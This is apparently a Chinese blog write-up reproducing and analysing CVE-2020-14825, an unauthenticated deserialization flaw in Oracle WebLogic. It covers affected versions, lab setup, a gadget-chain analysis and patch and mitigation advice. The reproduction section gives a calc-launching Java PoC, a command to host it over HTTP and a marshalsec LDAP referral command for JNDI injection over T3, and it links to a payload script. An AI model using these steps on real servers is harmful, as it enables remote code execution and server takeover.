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0x01 简介

Weblogic 是 美 国 Orac le 公 司 出 品 的 一 个 Appl i ca t ion  

Server ， 确 切 的 说 是 一 个 基 于 JavaEE 架 构 的 中 间 件 ， Weblogic 是

用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据

库应用的 Java应用服务器。

0x02 漏洞概述

漏洞编号CVE-2020-14825

javascript:void(0);
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247486336&idx=1&sn=2a054ededbc855622fe2ac6c8906aae0&chksm=90392d70a74ea46635bef3cd4fc414cef87d16a1875ccb690f6eadb4304337e0d2b4772a2659&scene=27#wechat_redirect&cpage=21


Orac le 官方在2020 年10 月份发布的最新安全补丁中修复了许多安全

漏 洞 ， 其 中 黑 名 单 类 orac le .ec l ipse l ink .coherence . in tegrated .

in terna l . cache .LockVers ionExt rac tor 可 造 成 反 序 列 化 漏 洞 。 该

漏 洞 允 许 未 经 身 份 验 证 的 攻 击 者 通 过 I IOP ， T3 进 行 网 络 访 问 ， 未 经

身 份 验 证 的 攻 击 者 成 功 利 用 此 漏 洞 可 能 接 管 Orac le  Weblog ic  

Server。

0x03 影响版本

Orac le  WebLogic  Server  12 .2 .1 .3 .0

Orac le  WebLogic  Server  12 .2 .1 .4 .0

Orac le  WebLogic  Server  14 .1 .1 .0 .0

0x04 环境搭建

由 于 之 前 复 现 CVE-2020-

14645漏洞时已经搭建完成，因此在此不过多阐述过程，仅记录一些

信息。

Weblogic下载链接：

https : / /www.orac le . com/middleware/ technolog ies/weblo

g ic-server- ins ta l le rs -downloads .html

http://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247485197&idx=1&sn=5d6b3cb8e5315b1b6672ddc00c68898b&chksm=903921fda74ea8eb0b2418889aff4955ede0451f7007ce490aa72959922f42495adc1c934905&scene=21#wechat_redirect
http://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247485197&idx=1&sn=5d6b3cb8e5315b1b6672ddc00c68898b&chksm=903921fda74ea8eb0b2418889aff4955ede0451f7007ce490aa72959922f42495adc1c934905&scene=21#wechat_redirect


选 择  12 .2 .1 .4  的  Gener i c  

版 本 进 行 下 载 安 装 即 可 ， 安 装 过 程 注 意 JDK 版 本 造 成 的 安 装 失 败 （ 建

议 JDK 

1 .8 ） 以 及 以 管 理 员 权 限 运 行 安 装 包 。 具 体 安 装 过 程 可 参 照 这 两 篇 文

章：

http://www.quiee.com.cn/courses/qui/370984-1429262936779670.html

https://www.cnblogs.com/xdp-gacl/p/4140683.html

此外，安装过程中，为方便后续其他漏洞利用，安装类型可选择 “含示

例的完整安装 ”。

安装完之后，直接运行安装目录下的启动脚本即可，路径结构如下：

$Oracle_Home$\12.2.1.4.0\user_projects\domains\wl_server\startWe

bLogic.cmd

// Oracle_Home指WebLogic安装的绝对路径

启动脚本后，浏览器访问

http : / /127 .0 .0 .1 :7001/conso le



正常显示控制台登录界面，即代表安装成功。

0x05 漏洞复现

1、编译poc文件并通过python部署在http服务器，poc文件如下：

public class exp{

    // POC open calc

    public exp(){

        try {

            Runtime.getRuntime().exec("calc.exe");

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

    public static void main(String[] argv){

        exp e = new exp();

    }



}

将编译产生的  c lass  文件部署在  py thon 起的  h t tp  服务器

//python3

$python -m http.server 80

2、启动  ldap 服务链接到  poc  文件

$java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer 

http://192.168.247.128/#Poc 1389

3、运行  pay load 文件生成反序列化数据文件，通过 t3协议传输

payload 文件见：

https : / /g i thub .com/rufherg/WebLogic_Bas ic_Poc/b lob/m

aster/poc/CVE_2020_14825 . java

python T3 脚本见：

https : / /g i thub .com/rufherg/WebLogic_Bas ic_Poc

0x06 漏洞分析



这 个 漏 洞 实 质 上 跟  CVE-2020-14645 

并无 太大 差 别 ，前 半段的 利用 链入口 是一致 的，只 不过最 后造成 代码

执 行 的 类 不 一 样 。 CVE-2020-14645 

用 的 类 为 com.tangosol.util.extractor.UniversalExt

ractor ， 而  CVE-2020-14825 

用 的 类 是 oracle.eclipselink.coherence.integrated.

internal.cache.LockVersionExtractor。

从 调 用 栈 来 看 ， 前 半 部 分 即 是  CC4 

链的 入口 ， 此 部分 网上有 很多 深入分 析的文 章，此 处不再 阐述。 重点

来关注LockVersionExtractor这个类，观察其extract方法。



重点关注图上红框的方法，先来看this.accessor的来源。

构 造 方 法 中 可 以 指 定accessor， 然 后 在extract方 法 中 会 依 次 调

用 其 initializeAttributes和 getAttributeValueFromO

bject方法。那么我们需要找到一个符合条件的Accessor类，并且

其initializeAttributes或getAttributeValueFromObj

ect方 法 中 存 在 可 恶 意 利 用 的 部 分 。 这 里 我 们 寻 找 到MethodAttri

buteAccessor这 个 类 ， 在 其 getAttributeValueFromObje

ct方法中存在恶意利用的部分。



但 此 处 由 于extract方 法 中 的 调 用 参 数 只 有arg0， 即parameter

s为null，因此我们只能寻找无参的利用方法。

方 法 名 可 以 通 过 直 接 调 用setGetMethod方 法 设 置 ， 但 是 这 个 属 性

值 是 经 过 transient修 饰 的 。 所 以 我 们 只 能 从 setGetMethod方

法入手，看看哪里还调用了这个方法。



恰 巧 在 其initializeAttributes方 法 有 一 处 调 用 了setGetMe

thod方法，但是注意需要给父类AttributeAccessor的attrib

uteName属性赋值，否则将抛出异常。接下来跟进Helper.getDe

claredMethod方法进行分析。

大致 就是 根 据 传入 的方法 是否 私有， 然后进 行不同 的处理 ，最终 返回

所需的Method对象。所以我们只要通过setGetMethodName方法

设 置 this.getMethodName属 性 值 ， 但 是 需 要 注 意 的 是 ， 我 们 需

要令this.isWriteOnly()返回true，否则将会覆盖我们上面设

置的方法。可以通过setIsWriteOnly方法设置this.isWriteO

nly为true。

至此 ，我 们 可 以通 过反序 列化 已经可 以调用 任意类 的无参 方法。 很容

易 联 想 到  CVE-2020-14645 和  fas t j son  

的 利 用 方 式 ， 即 通 过 JdbcRowSetImpl 进 行  JNDI  

注 入 。 其connect方 法 中 调 用 了lookup方 法 ， 并 且DataSource

Name是可控的，因此存在 JNDI注入漏洞，看看有哪些地方调用了co

nnect方法。



由于setAutoCommit不是无参方法，因此使用getDatabaseMet

aData方法进行利用。

0x07 修复方式

1、安装官方补丁

https : / /www.orac le . com/secur i ty-a le r t s /cpuoct2020 .html

2、限制T3访问来源

漏 洞 产 生 于 WebLogic 默 认 启 用 的 T3 协 议 ， 因 此 可 通 过 限 制 T3 访 问

来源来阻止攻击。

3、禁用 I IOP协议

可以查看下面官方文章进行关闭 I IOP协议。

https : / /docs .orac le . com/middleware/1213/wls/WLACH/ta

skhe lp/channe ls /Enab leAndConf igure I IOP .html

0x08 总结

实 质 上 ， 这 个 洞 也 是 一 种 类 比 思 路 产 生 ， 从 2555 到 2883 ， 再 到 146

45然后到14825。不断在跟黑名单博弈，利用链前半段依旧不变，一

直 在 找 可 以 替 代 的 Ext rac tor 。 在 平 时 的 一 些 挖 洞 上 ， 类 比 思 路 是 一

个很 好的 技 巧 ，比 起全盘 代码 审计， 显得更 加高效 。在不 断的漏 洞复

现中 ，需 要 学 会总 结中其 中存 在的共 性，并 将其转 化为自 己的经 验技



巧， 用于 平 时 的漏 洞挖掘 又或 者从甲 方的角 度去思 考如何 真正有 效的

防御。
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https : / /www.orac le . com/secur i ty-a le r t s /cpuoct2020 .html
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ht tps : / /g i thub .com/rufherg/WebLogic_Bas ic_Poc
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